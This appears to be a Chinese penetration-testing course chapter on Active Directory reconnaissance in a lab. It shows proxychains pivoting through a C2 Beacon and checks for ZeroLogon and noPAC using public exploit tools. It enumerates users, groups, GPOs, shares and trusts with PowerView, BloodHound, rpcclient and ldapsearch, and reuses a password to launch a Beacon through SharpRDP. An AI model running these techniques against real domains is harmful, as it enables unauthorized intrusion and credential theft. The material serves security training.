章节7:域侦查
- 历史 CVE 漏洞
- 用户与组
- 主机
- OU 与 GPO
- 内部服务访问
- 域信任
- 使用 SharpHound 枚举
- 在 Linux 上的信息搜集
- DACL
- Kerberos 委派
- ADCS
- 用户会话与令牌
- 第7章课后作业
- 面试专题
历史 CVE 漏洞
在进入域环境后,我们就可以对域进行侦查与枚举了。域是个很庞大的设施,有诸多信息需要我们去提取和枚举,一开始我们可能会觉得有些手足无措,但只要我们梳理好顺序与思路,就不会错过重要的线索。
我一直坚持,枚举和利用总是从最简单的做起,即 low hanging fruit。对于一个保持系统更新的企业域环境来说,想通过 1 个 CVE 漏洞一键接管是较难遇到的事情了,虽然有一些辅助性的漏洞或者默认配置(例如未开启LDAP签名、频道绑定)可以协助我们对单个主机进行执行远程代码或者特权提升。但另一方面,企业并非总是时刻保持域服务器的更新,因此容易受到一些历史 CVE 漏洞影响,尤其是近两年的。这些漏洞,能帮助拿下多个主机,甚至一键接管整个域乃至森林。
配置 SOCKS
在枚举这些漏洞的存在之前,在任意一个 Beacon 交互中执行 socks 1080 命令,这会在我们的 C2 服务器上开启 1080 端口。关于 SOCKS 代理的细节,我们会在后面的章节更详细地介绍。因为这些 CVE 漏洞的扫描或者利用 PoC 有的是以 Python 脚本的形式,我们会想在 VPS 上通过 SOCKS 将流量转发过去。如果 PoC 是 .NET 程序或者 BOF 的形式,那自然是更好的。
安装 proxychains,如果系统中还没有安装的话。
编辑 /etc/proxychains.conf
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks4 127.0.0.1 1080
使用 nmap 测试对靶场内部主机的连通性:proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445
ubuntu@ts:~$ proxychains nmap -sT -Pn 172.16.1.52 -p135,139,445
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-30 15:54 UTC
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:139-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:135-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.52:445-<><>-OK
Nmap scan report for ip-172-16-1-52.ec2.internal (172.16.1.52)
Host is up (0.76s latency).
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
CVE-2022-26923 证书服务提权漏洞
低权限的域用户在默认的 AD 以及 ADCS 环境中可以提升至域管理员特权。该漏洞需要多个工具组合利用,因为似乎暂时没有一键扫描或利用脚本,在后续章节我们会讲手动利用的具体过程。
CVE-2020-1472 ZeroLogon 漏洞
因为脆弱的密码学设计,攻击者可以模仿任何域主机,包括域控制器,以实现提权。脚本 (https://github.com/SecuraBV/CVE-2020-1472) 可用于测试目标域是否受该漏洞影响。我们可以使用 .NET 版本的工具 (https://github.com/leitosama/SharpZeroLogon/tree/main) 来测试和利用。该漏洞不需要认证或者明文凭证。
我们甚至能跨域对 dc01 进行检测:
CVE-2021-42278 NoPAC 漏洞
该漏洞实际上利用了主机账号的伪造,攻击者可以从普通用户提升为域管理员。脚本 (https://github.com/Ridter/noPac) 可用于检测以及利用该漏洞。但这里,我发现了个 .NET 编写的检测与利用工具 (https://github.com/cube0x0/noPac),下载后打开该项目,将 Main 函数公开化,编译。
将 exe 文件转移到 VPS 上。我们使用 execute-assembly 执行该工具。我们需要提供一个有效的账户,正好我们之前在 Web02 上找到了 serveradm 用户的明文凭证。
根据输出结果,white-bird.local 的域控具有 noPAC 的漏洞,我们在持有一个有效账户的情况下可以一键域内提权。
MS14-068
因为KDC对于伪造票据签名的失败校验,攻击者可以模仿域管理员从而接管域。我们可以使用脚本 (https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS14-068/pykek/ms14-068.py) 对受影响的主机进行利用。考虑到该漏洞较为久远,且靶场的主机都是 Windows 2019,理论上不会存在该漏洞,我们就不进行尝试了。
用户与组
用户与组是域的重要组成部分,并且组是用户的容器,在同一个组里的用户具有特定的相同属性。对于用户和组的枚举,自然是我们首先要做的,因为很多漏洞和不当配置的利用都是围绕着用户与组、主机、服务等展开的。
准备工作
我们可以使用多种工具对域内的用于和组进行枚举,这里,我们使用 PowerView 脚本。我们可以通过 powershell-import 导入脚本,然后使用 powershell 或者 powerpick 命令进行脚本命令执行。
Web02 在 white-bird.local 域中,我们可以进而对该域进行枚举。虽然我们还没有正式学到域信任的概念,在课程介绍阶段,大家了解到 white-bird.local 与 raven-med.local 域互相信任,当然也包括了 Web01 主机所在的 prod 子域。简单来说,可以互相访问对方域的资源,至少可以枚举对方域的域信息。例如,我们在 Web02 主机上以 white-bird\serveradm 的身份枚举到了 PROD 域中的所有域用户的账户名称,通过 -domain 指定要枚举的域。Web01 是一台 Linux 的域主机,如果一些学员对在 Linux 域主机的枚举还不熟悉的话,我们可以以这样的方式跨域枚举。
好了,补充了工具用法与简单的理论知识,我们来枚举域的用户与群组信息。
用户的枚举
在枚举域用户的时候,我们需要关注以下这些属性:
用户描述
虽然很多时候用户描述可能是空白的,但如果不是空白的话,用户描述可能会揭露域用户的角色。 如服务器管理员、开发人员等。
Get-NetUser | select description
我们没有发现什么特别的,然后看看 raven-med.local 域的:
我们发现 simon 的描述是 CA Manager,这也许意味着 simon 具有 CA 相关的权限,我们发现 simon 是分组 CertManager 的成员。
预认证
如果某些域用户禁用了预认证 ,我们可以使用 ASREPRoasting 攻击他们并获取 krb5asrep 哈希。 如果幸运的话,我们有可能离线破解这些哈希并获得明文凭证。在现代化的 AD 环境中,已经没有必要禁用预认证了,从安全与防御的角度出发,系统管理员应当给所有账户开启域认证。
Get-NetUser -PreAuthNotRequired
在当前域,是没有符合条件的用户存在的,看看其他的域,发现了用户 jason 不需要预认证。
SPN
如果一个域用户被设置了SPN,那么它是一个服务帐号。我们可以对它们进行 Kerberoasting 攻击并获取 krb5tgs 哈希。 如果幸运的话,我们可能离线破解这些哈希并获得用户的明文凭证。
Get-NetUser -SPN
我们发现,账户 sql_service 与 krbtgt 被设置了 SPN。sql_service 看起来就是一个 SQL 的服务账户,而 krbtgt 总是会被设置 SPN,但实际并不可利用。
组归属
每个域用户至少属于“域用户”组,但如果有任何域用户属于多个组,那么他们往往可能具有特别的权限,例如可以访问某台主机上的共享目录。
Get-NetUser | select samaccountname,memberof
更适合通过 BloodHound (后续内容介绍) 查看成员与组的关系。
我们以当前用户 serveradm 为例,发现其来自群组 Server Admin。
查看 Server Admin 群组信息,根据描述得知,该组成员可以管理 Web02 与 Dev01 主机,因此 serveradm 可能对这 2 个主机具有远程访问权限,甚至最高权限 (root 和 Administrator)
外部成员
如果一个外部成员被拿下了,我们可借此移动到该外部成员原来所在的域。
Get-DomainForeignUser
在我们可访问的域里,并没有发现外部成员。但是,我们发现,raven-med.local 中的用户 michael,在名为 ExtAdmin 的分组中。ExtAdmin 让人联想到 External Administrator,那么会不会代表 michael 在其他一个我们目前无法访问的域里充当着外部成员呢?这个只能在我们获得了更多的系统和域后验证了。
组的枚举
而在枚举组的时候,我们需要关注一下这些
组描述
类似于用户描述。不过有很多组是内置的,因此描述也是统一的。
Get-NetGroup | select samaccountname,description
我们查看 raven-medicine.local 域中的 Cert Manager 组的描述:
组类型
如果一个组并非是内置的,而是自定义的,例如Server Admins,那么我们需要多关注一下,因为这个组可能具有特定的权限,例如对 SQL 服务器具备本地管理员权限。
在当前域中,我们已经查看过了自定义分组 Server Admin 了
在 PROD 域中,有 1 个自定义分组,Security Team
例如在 raven-medicine.local 域中,有 2 个自定义的分组,CertManager 和 ExtAdm
外部组
意义同外部成员。
Get-DomainForeignGroupMember
我们没有在当前域中找到相关记录
但是在 PROD 域中,我们找到了一些外部组,这是合理的,因为 PROD 和 RAVEN-MED 域是父子域。
主机
主机是用户、服务的载体,清晰了解每个主机的作用十分重要。在进入域后,我们可以记下主机的 IP、操作系统、FQDN 等信息。
FQDN
FQDN 的形式是 主机名与完整域名的接合,是在域内定位一台域主机的方法之一。在 PowerView 中,dnshostname 属性即主机的 FQDN。
Get-NetComputer | select dnshostname
当前域,有 3 个主机,其中 2 个为 Windows 主机,dev01 为 Linux 主机。
我们再看看其他域的情况:
RAVEN-MED 域有 2 个主机
PROD 域有 4 个主机
其实我们可以根据 FQDN 来推测目标主机在域中的作用和角色是什么。web01,web02 确实都是 Web 应用服务器,file01 推测是作为文件服务器。
IP 地址
除了 FQDN,在域内定位域主机的另一种方式则是 IP,我们可以使用 Windows 命令 nslookup.exe 来得到目标主机的 IP 地址。
nslookup [主机名]
我们可以指定 FQDN,查看其他域的域主机 IP。前提是 DNS 是相互同步的,通常在建立有域信任的情况下。
操作系统
虽然活动目录原生为 Windows 系统打造,但后来,也增加了对 Linux,Mac 等系统的支持。我们的靶场里没有 Mac 系统主机,但有一些 Linux 系统主机,我们可以根据 operatingsystem 属性来查看。
在 PROD 域中,也有一台 Linux 域主机:
Windows 主机
Windows 主机的属性更加复杂,因为 Windows 主机不仅作为主机,而且主机对应的主机帐号也享有着一些类似于用户帐号的特性。单纯作为主机而言,Windows 主机可以被设置委派、GPO 实施的对象等。我们在后续内容中详细展开。
Linux 主机
默认情况下,Linux 的域主机是允许 SSH 访问的,除非指定禁止特定用户访问。这点不像在 Windows 上,如果需要配置 RDP、WinRM访问,需要给用户单独设置特定权限。因此,有了明文凭证后,我们可以尝试使用域账户登录到 Linux 主机上。但系统管理员也可能会修改此默认配置。
root@ts:~# proxychains ssh serveradm@white-bird.local@172.16.1.53
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.53:22-<><>-OK
The authenticity of host '172.16.1.53 (172.16.1.53)' can't be established.
ECDSA key fingerprint is SHA256:P29afmXbT4KB5pYj0TbtWcjvEnMvl1ye0vYvFDf9UJE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.1.53' (ECDSA) to the list of known hosts.
serveradm@white-bird.local@172.16.1.53's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.15.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Your Hardware Enablement Stack (HWE) is supported until April 2025.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
serveradm@dev01:~$ whoami
serveradm
OU 与 GPO
组织单元,即 OU,可以用来充当具有同样性质的一些对象的容器。例如,同为 SQL 服务器的 SRV01 与 SRV02 可以用 OU SQL_Server 来存放。再比如,一家公司里,职位相同的一些员工如 HR 的帐号,由 OU HR 来盛放。
而 GPO 是一组定义了系统配置的设置, 并可作用于 OU。通过枚举 GPO,我们可以查看当前域对特定 OU 的特殊设置。我们可能不知道 GPO 的详细设置,但我们可以根据 GPO 名称或描述来推断它们的作用。GPO也可能有助于我们移动到其他机器。例如,GPO可以授予某些用户对特定计算机的 RDP 或 WinRM 访问权。
枚举OU
我们枚举一下当前域的所有 OU:
Get-DomainOU -Properties Name
总共有 3 个 OU,其中 2 个是自定义的。而 PROD 域中则有多个自定义 OU,
我们查看一下 SQL Server 的详细信息,可惜并不能直接看出来包含哪些服务器。
我们可以用这么一个长命令得到指定 OU 所包含的内容:
Get-DomainOU -domain prod.raven-med.local -identity "SQL Server" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name}
PROD 域中的 SQL Server OU 包含了服务器 SRV01。
枚举GPO
接着,我们来枚举一下存在的 GPO
Get-DomainGPO -Properties DisplayName
我们发现有一个自定义的 GPO DebugRemoval,查看一下它的详细信息:
我们并没有看到类似于描述之类的属性,从名称也无法准确推测出该 GPO 的作用。那么,我们来查看一下 PROD 域的 GPO。在 PROD 域,存在更多自定义的 GPO,AppLocker 与 RunAsPPL 都是我们能根据名称推测出作用的 GPO。
既然推测了 AppLocker 与 RunAsPPL 的作用,我们来查看一下它们的作用对象:
作用于特定主机的所有 GPO
如果我们的目标只是一台主机,我们可以直接查询作用于它的 GPO,我们以当前的 Web02 为例
有 2 个 GPO 作用于 Web02 主机。
特定 GPO 所作用的 OU
Get-DomainOU -gpLink "[GPO Name(序列号)]"
我们能看到,在 PROD 域中,RunAsPPL GPO 只作用于 File Server OU。该 OU 只有一台主机 file01。
而 BloodHound 则可以显示出 OU 与 GPO 之间更直观的关系。
内部服务访问
我们在域内可以访问的其他服务也不可忽视,因为企业的域环境同时也是个内部网络。我们在一般内部网络渗透中会遇到的应用以及对应的攻击手法,在企业的域环境中依旧适用。诸如 FTP,SSH,HTTP(S) 等普通内网中就很常见的网络服务不再赘述,我们来讲在 AD 中更应当注意的内部服务,例如 SMB 与 MSSQL。
SMB
如果拿下的的用户可以访问其他主机的 C$ 或 ADMIN$,意味着该用户拥有对该计算机的本地管理员权限。除了 C$ 和 ADMIN$,还要注意任何可读/可写的共享目录,例如某个服务器开放 dev 共享目录,它可能存储着应用程序的源代码。
我们依旧可以用 PowerView 枚举域内所有 SMB 目录。我们既可以查看所有的共享目录,也可以查看对自己来说可以访问的。先来查看 white-bird 域内所有的 SMB 目录:
Find-DomainShare
枚举当前用户可以访问的共享目录,我们发现当前用户可以访问 WEB02 的 C$ 和 ADMIN$,这是理所当然的,因为 serveradm 对 WEB02 具有本地管理员特权。
Find-DomainShare -CheckShareAccess
我们来分别查看一下 PROD 域的:
其中,file01 的 Tools 共享目录是自定义的,看看这些共享目录中有哪些是可以直接访问的
很棒,该目录对于 serveradm 这样的域外用户都是可以访问的,看起来存储了一些工具。更令人惊喜的是,该共享目录还可写,那么显然是多了一条利用的道路。至于如何利用,我们会在后续章节讲解。
MSSQL 服务器
对于 MSSQL,只要我们具有特定权限,就能在其他主机上执行命令。关于 SQL Server 的利用,我们会在下一章做具体阐述。
我们需要先扫描内网段主机的 1433 端口,这是 MSSQL 的常用端口:
一共有 3 个 MSSQL 实例,分别在 172.16.1.14,172.16.1.42,以及 172.16.1.52 主机上。
接下来,我们可以用 PowerUpSql 脚本枚举域内的 SQL 服务器,当前域有 1 台 SQL 服务器,即 Web02。
Get-SQLInstanceDomain
测试对特定实例,即 Web02 上 SQL03 的访问,我们发现可以访问。
Get-SQLConnectionTest -Instance [实例名]
获取 SQL 数据库实例信息,我们当前并不是 Sysadmin 权限。此外,还可以看到一些有关操作系统、SQL 版本、SPN 相关的信息。
Get-SQLServerInfo -Instance [实例名]
获取 SQL 数据库实例的链接,我们发现 SQL03 实例与 SRV02 上的 SQL02 实例互相连接
Get-SQLServerLinkCrawl -Instance [实例名]
其他
实际上,还有其他一些的内网服务可以与 AD 进行无缝交互,例如 IIS 服务器、Exchange、Jenkins 等。在教材未来的更新中,我们争取加入更多这样的案例。
域信任
域信任决定了域与域之间对彼此的资源访问权限,尤其是当我们已经获得了当前域的域管理员,想移动到其他的域或森林里,利用域信任尤其必要。即便尚未获得当前域的域管理员,我们也可以枚举外部域的信息从而打开突破口,外部成员也可以给我们带来突破域的途径。
需要强调的是,域信任的方向与资源访问的方向是相反的,域 A 信任 域 B,那么 域 B 中的主体可以访问 域 A 中的资源。如果信任是双向的,则资源访问也是双向的。枚举域的信任是很直接的,我们只需要命令 Get-DomainTrust。接下来,我们讨论一下各种情况下的域信任。
Get-DomainTrust -Domain [域]
森林内信任
也就是子域与父域、或者子域与另一个子域,信任总是双向的,我们可以利用黄金票据或者信任密钥进行横向移动。
森林之间。
我们枚举 PROD 域的信任关系,发现它只与父域 RAVEN-MED 互相信任。
但如果我们枚举 RAVEN-MED 域的信任关系,我们发现它不仅与子域 PROD 互相信任,还与别的域存在信任关系。
那么 PROD 域与这些域间接地存在信任关系吗?这个其实需要看具体配置以及具体分析,森林间的信任在配置信任的时候可以设置成传递性的,也可以是非传递性的。但是,多个森林之间是不可传递的。
森林间双向信任
我们可以看到当前域与森林 raven-medicine.local 是互相信任的,当然,与 prod.raven-medicine.local 也是。
入口信任
raven-medicine 域的信任之中,有来自 med-factory.local 的入口信任,即 raven-med.local 的主题可以访问 med-factory.local 的资源。我们还需要知道信任之间是否建立了选择性信任,即森林中只有特定主体可以对对方域进行认证。该实验中并没有配置该项。
出口信任
当前森林信任 med-deal.local 域,即 med-deal.local 可以对当前域认证并访问资源。我们并不能枚举对面森林,因此我们需要借助别的技巧和途径。
综上,对于双向信任以及出口信任,我们可以使用例如 PowerView、SharpHound、adPEAS 等域内信息枚举工具对可访问资源的域进行跨域枚举。
使用 SharpHound 枚举
在本章的之前几篇,BloodHound 多次被提及到。Bloodhound (https://github.com/BloodHoundAD/BloodHound) 是一款利用图论揭示 Active Directory 或 Azure 环境中隐藏的、非预期关系的工具。我们可以使用它快速轻松地枚举域对象并找到攻击路径。
配置 BloodHound
要设置 Bloodhound,我们需要配置多个组件:Neo4j 数据库,Sharphound 数据搜集器 和 Bloodhound。虽然可以在 Linux 上设置 Bloodhound,但我们将在 Windows 10 虚拟机上进行设置。
首先,安装 Java (https://www.java.com/en/download/),因为Neo4j 依赖于 Java。在 Java 的最近版本中,安装会自动为我们配置环境变量。然后,安装 Neo4j 社区服务器 (https://neo4j.com/download-center/\#community)。
解压下载的文件,并通过执行命令:neo4j.bat console 来启动 Neo4j。
建议从提升特权的命令行终端中运行,如果一切正常,我们会看到与下面的截图类似的内容:
然后访问 http://127,.0.0.1:7474 以连接 neo4j 数据库的面板。
默认凭证是 neo4j:neo4j,第一次登陆后会要求修改密码。然后,我们可以从 https://github.com/BloodHoundAD/BloodHound/releases 下载最新的 BloodHound 了。
解压并运行 BloodHound,输入修改后的凭证并登陆
使用 SharpHound 搜集数据
目前,BloodHound 中是空的,因为我们没有上传任何数据,这就需要我们用 SharpHoun 搜集器来搜集域信息了。我们可以从 https://github.com/BloodHoundAD/SharpHound 处下载最新的。
对于装有旧版本 BloodHound 与 SharpHound 的同学来说,最好同步使用最新版本的,因为这两个工具版本要匹配,不然会有数据文件兼容性问题。下载的 SharpHound 也包含了 PowerShell 版的 SharpHound 了。
SharpHound 支持多个参数,包括搜集方法、请求频率、搜集范围等。灵活指定这些选项的值可以提升 OPSEC,毕竟 SharpHound 默认情况下会在短时间内发送较多 LDAP 请求给域控。哲理的话,我们使用了命令 sharphound.exe -c All --throttle 1500 --jittle 10 来运行 sharphound 搜集器,并成功获得了输出文件。
重复命令,但是指定域为 PROD 以及 RAVEN-MED。最终将得到的输出文件一起打包下载,传送到 BloodHound 所在的数据,并上传文件。我们也可以使用 PowerShell 版的搜集器搜集数据。
上传之后,重启 BloodHound,然后就能看见搜集的数据了。
我们可以以图形化方式简单直接地查看主体之间的关系
我们还可以把已经沦陷的域主题标注出来,从而让 BloodHound 自动帮我们计算接下来的攻击路径。
根据图示,我们是可以从在拿下用户 serveradm 后轻易接管当前域的。
BloodHound 内置了一些好用的查询语句,例如帮助我们发现了用户 prod\back_operator 具有在 PROD 域内的 DCSync 特权。
我们还可以用原始查询来自定义查询语句,例如筛选所有具有 SPN 用户的语句为
MATCH (u: User {hasspn:true}) RETURN u
除了 BloodHound之外,adPEAS (https://github.com/61106960/adPEAS) 也是很优秀的工具。adPEAS 的用法很简单,导入脚本后执行命令 Invoke-adPEAS 即可,可以指定其他可访问的域。adPEAS 默认会发出大量请求,是 OPSEC 不安全的,因此我们需要指定一些选项。在大量输出中,adPEAS 会高亮一些潜在的配置漏洞,以及自动帮我们获取一些帐号的 Kerberos 哈希。
在 Linux 上的信息搜集
在 Linux 上的信息搜集,这里有两层含义,一是指在Linux域主机上对所在域进行侦查,另一层是指使用 Kali Linux 或其他 Linux 攻击主机对目标域进行侦查。
第二个 Beacon
目前,我们只有一个来自 Web02 的 Beacon,以及 Web01 的 root 权限 Shell,还没有其他 PROD 域中用户的明文凭证。回想 chatjs 应用中出现的用户,我们发现他们都是域用户。
那么就可能存在密码重用,尤其是我们已经破解出 Alice 的密码为 elizabeth (无法还原出其他用户的密码)。再加上默认情况下,所有域用户都可以访问 SSH,那么我们不妨尝试使用 alice:elizabeth 登陆 Web01 的 SSH 服务。
我们成功登陆了 Web01。并且,我们通过 Chatjs 的利用获得了 root 权限,我们可以灵活地在 alice 与 root 用户之间切换。
查看 Alice 的描述,我们发现她可能具有对 File01 RDP 的访问。
我们知道 file01 有个公开可读可写的 SMB 目录 Tools,我们猜测其绝对路径为 C:\Tools (使用 UNC 路径执行程序可能会被阻止)。上传一个 Beacon,然后使用 SharpRDP (https://github.com/0xthirteen/SharpRDP) 在不开启 GUI 的情况下通过 RDP 协议远程执行该 Beacon。
sharprdp.exe computername=[FQDN] command="[程序绝对路径]" username=[域NetBIOS\用户名] password=[密码]
幸运的是,我们猜对了绝对路径,并且获得了新的 Beacon,来自 File01,当前用户为 PROD\Alice。这样,我们有了在 PROD 域的第一个 Beacon。
Linux域主机
RPCClient
rpcclient -U <域 FQDN>/<账户>%<密码> <DC>
用户
我们通过 enumdomusers 命令来查看所有用户
root@ts:~# proxychains rpcclient -U prod.raven-med.local/alice%elizabeth 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:445-<><>-OK
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sql_service] rid:[0x641]
user:[app_security] rid:[0x642]
user:[network_security] rid:[0x643]
user:[alice] rid:[0x645]
user:[harold] rid:[0x646]
user:[backup_operator] rid:[0x647]
user:[john] rid:[0x648]
user:[newman] rid:[0x64b]
user:[jim] rid:[0x64c]
user:[carl] rid:[0x64d]
user:[fusco] rid:[0x64e]
通过命令 query <RID> 来查看用户详情
rpcclient $> queryuser 0x641
User Name : sql_service
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Tue, 28 Mar 2023 03:04:56 UTC
Logoff Time : Thu, 01 Jan 1970 00:00:00 UTC
Kickoff Time : Thu, 01 Jan 1970 00:00:00 UTC
Password last set Time : Sat, 28 Jan 2023 19:35:18 UTC
Password can change Time : Sun, 29 Jan 2023 19:35:18 UTC
Password must change Time: Thu, 14 Sep 30828 02:48:05 UTC
unknown_2[0..31]...
user_rid : 0x641
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x0000000a
padding1[0..7]...
logon_hrs[0..21]...
群组
LDAPSearch
ldapsearch -h <DC IP> -p 389 -x -b "<站点>" -D '<域\用户>' -w '<密码>'
用户
我们指定了 objectclass 为 user,并且提取 samaccountname 属性:
web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=user)' samaccountname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=user)
# requesting: samaccountname
#
# Administrator, Users, prod.raven-med.local
dn: CN=Administrator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Administrator
# Guest, Users, prod.raven-med.local
dn: CN=Guest,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Guest
# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
sAMAccountName: DC01$
# krbtgt, Users, prod.raven-med.local
dn: CN=krbtgt,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: krbtgt
# RAVEN-MED$, Users, prod.raven-med.local
dn: CN=RAVEN-MED$,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: RAVEN-MED$
# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: FILE01$
# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: SRV01$
# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: WEB01$
# sql_service, Users, prod.raven-med.local
dn: CN=sql_service,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: sql_service
# app_security, Users, prod.raven-med.local
dn: CN=app_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: app_security
# network_security, Users, prod.raven-med.local
dn: CN=network_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: network_security
# alice, Users, prod.raven-med.local
dn: CN=alice,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: alice
# harold, Users, prod.raven-med.local
dn: CN=harold,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: harold
# backup_operator, Users, prod.raven-med.local
dn: CN=backup_operator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: backup_operator
# john, Users, prod.raven-med.local
dn: CN=john,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: john
# newman, Users, prod.raven-med.local
dn: CN=newman,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: newman
# jim, Users, prod.raven-med.local
dn: CN=jim,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: jim
# carl, Users, prod.raven-med.local
dn: CN=carl,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: carl
# fusco, Users, prod.raven-med.local
dn: CN=fusco,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: fusco
# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
aven-med,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 21
# numEntries: 19
# numReferences: 1
主机
我们指定了 objectclass 为 computer,并且提取 dnshostname 属性:
web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=computer)' dnshostname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=computer)
# requesting: dnshostname
#
# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
dNSHostName: dc01.prod.raven-med.local
# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: file01.prod.raven-med.local
# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: srv01.prod.raven-med.local
# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: web01.prod.raven-med.local
# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
aven-med,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 6
# numEntries: 4
# numReferences: 1
以及 /etc 目录下 Web01$ 的哈希
在 /tmp 目录下,还有着 Alice (该小节刚开始的时候登录的) 与 Administrator 的 ccache。
BloodHound Python
proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
root@ts:/opt/framework# proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Found AD domain: prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Getting TGT for user
|DNS-request| prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response|: prod.raven-med.local does not exist
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (prod.raven-med.local:88)] [Errno 1] Unknown error
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Connecting to GC LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:3268-<><>-OK
INFO: Found 15 users
INFO: Found 48 groups
INFO: Found 5 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web01.prod.raven-med.local
............
INFO: Done in 01M 56S
Impacket
Impacket (https://github.com/fortra/impacket) 是一套可以对 AD 进行网络协议交互的工具,可用于枚举与利用,十分强劲。目前,我们只专注于枚举。
例如,我们可以使用 GetADUser.py 枚举域内用户
